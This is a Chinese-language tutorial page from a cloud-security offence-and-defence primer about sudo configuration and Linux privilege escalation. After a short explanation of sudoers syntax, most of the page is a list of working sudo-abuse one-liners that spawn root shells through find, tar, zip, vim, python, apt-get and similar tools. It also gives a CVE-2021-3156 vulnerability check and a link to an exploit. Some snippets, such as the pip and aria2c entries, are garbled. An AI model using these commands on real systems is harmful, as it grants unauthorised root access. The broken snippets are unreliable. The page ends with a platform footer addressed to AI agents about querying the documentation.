> For the complete documentation index, see [llms.txt](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-er-zhang-linux-gong-fang-kuai-su-ru-men-shang/sudo-shou-quan-yu-ti-quan.md).

# SUDO授权与提权

使用su命令可以让普通用户切换到root身份。

当多人使用同一台主机时，大家都使用su切换到root，那必然都知道root的密码，而且root操作会有风险，知道的人越多也更容易泄露。为了避免这类问题，解决方案是使用SUDO命令，他可以让你切换至root权限去执行命令而无需知道root密码。

#### 什么是sudo <a href="#toc892906691" id="toc892906691"></a>

* 给普通用户某个命令有root权限，并不需要给root密码，毕竟知道root密码的人越多越不安全。
* 利用sudo （Substitute User and Do 的简写）给其临时授权,临时让其以root 权限运行某个程序。

#### sudo组成 <a href="#toc467030401" id="toc467030401"></a>

```bash
#授权规则配置文件
/etc/sudoers
/etc/sudoers.d
 
#安全编辑授权规则文件和语法检查工具
visudo
```

文件语法：

root ALL=(ALL) ALL

* root表示用户名

· 第一个 ALL 指示允许从任何终端、机器访问sudo

· 第二个 (ALL)指示sudo命令被允许以任何用户身份执行

· 第三个 ALL 表示所有命令都可以作为root执行

#### SUDO执行原理 <a href="#toc327219822" id="toc327219822"></a>

普通用户执行sudo命令时 -> 首先会检查/var/db/sudo/目录下是否有用户时间戳 -> 检查/etc/sudoers配置文件是否有sudo权限 -> 有权限就执行命令并反回结果 -> 退出sudo返回普通用户shell环境。

其中步骤2检查：时间戳默认从上一次执行sudo命令5分钟后过期 -> 过期了需要输入当前用户的密码 -> 检查/etc/sudoers配置文件是否有sudo权限，没有权限就退出sudo。

&#x20;

#### SUDO配置不当 <a href="#toc2025412034" id="toc2025412034"></a>

**find命令获取root权限**

```bash
ccav ALL=(root)NOPASSWD:/usr/bin/find
sudo find /home -exec /bin/bash \; 
```

各类命令特殊权限利用方式很多，例如：

zip:

```bash
sudo zip /tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash"
```

* -T 表示测试test.zip的完整性
* &#x20;\--unzip-command 与-T 一起使用，可以指定自定义命令用于解压test.zip

&#x20;

tar:

```bash
sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash
```

* &#x20;\--checkpoint-action选项是提权点,可以自定义需要执行的动作

```bash
strace:
sudo strace -o /dev/null /bin/bash
```

nmap:

低版本的nmap3.x 有interactive模式，且设置了suid，这个时候可以进入交互模式 执行!sh 命令即可轻松完成提权。

```bash
echo "os.execute('/bin/bash')" > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nse
```

more:

```bash
sudo more /etc/hosts
!/bin/bash
```

```bash
git:
sudo git help status
!/bin/bash
 
ftp:
sudo ftp
ftp> !/bin/bash
 
vim:
sudo vim -c '!bash'
 
perl:
sudo perl -e 'exec "/bin/bash";'
 
python:
sudo python -c 'import pty;pty.spawn("/bin/bash")'
 
less:
sudo less /etc/hosts
v
:shell
 
awk:
sudo awk 'BEGIN {system("/bin/bash")}'
 
man:
sudo man man
!/bin/bash
 
vi:
sudo vi
:!bash
apt-get、apt、dpkg
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/bash -i"
 
sudo apt-get changelog apt
!/bin/bash
 
TF=$(mktemp)
echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
sudo apt-get install -c $TF sl
 
ed:
sudo ed
!/bin/bash
 
sed:
sudo sed -n '1e exec bash 1>&0' /etc/passwd
 
pip:
TF=(tty) >(tty)')" > $TF/setup.py
sudo pip install $TF
 
taskset:
sudo taskset 1 /bin/sh –p
 
aria2c:
sudo sh -c 'cp $(which aria2c) .; chmod +s ./aria2c'
COMMAND='id'
TF=COMMAND" > $TF
chmod +x TF http://x
 
arp:
LFILE=file_to_read
sudo arp -v -f "$LFILE"
 
base64:
LFILE=file_to_read
sudo base64 "$LFILE" | base64 --decode
 
cpan:
sudo cpan
! exec '/bin/bash'
```

#### CVE-2021-3156提权 <a href="#toc1336766841" id="toc1336766841"></a>

护网提权常用！

Linux安全工具sudo被发现严重的基于堆缓冲区溢出漏洞。利用这一漏洞，攻击者无需知道用户密码，一样可以获得root权限，此漏洞已分配为CVE-2021-3156

当这类Unix的操作系统上执行命令时，非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出，从而允许任何本地用户（无论是否在sudoers文件中）获得root权限，无需进行身份验证，且攻击者不需要知道用户密码。

执行下面的命令，如果观察到进程崩溃的提示，说明存在漏洞

```bash
sudoedit -s '\' `perl -e 'print "A" x 65536'`
```

适用版本：

· CentOs 8

· Ubuntu >= 17.10

· Debian 10

受影响版本：

Sudo 1.8.2 – 1.8.31p2

Sudo 1.9.0 – 1.9.5p1

&#x20;

<https://github.com/worawit/CVE-2021-3156>

<figure><img src="/files/37a4aa2cFzRQSc5rDZso" alt=""><figcaption></figcaption></figure>

如果存在漏洞，但是无法提权，是由于不同系统、不同 libc 版本、不同的 sudo 版本的堆空间分配顺序或者大小不一样，需要手动调试修改 exp


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-er-zhang-linux-gong-fang-kuai-su-ru-men-shang/sudo-shou-quan-yu-ti-quan.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
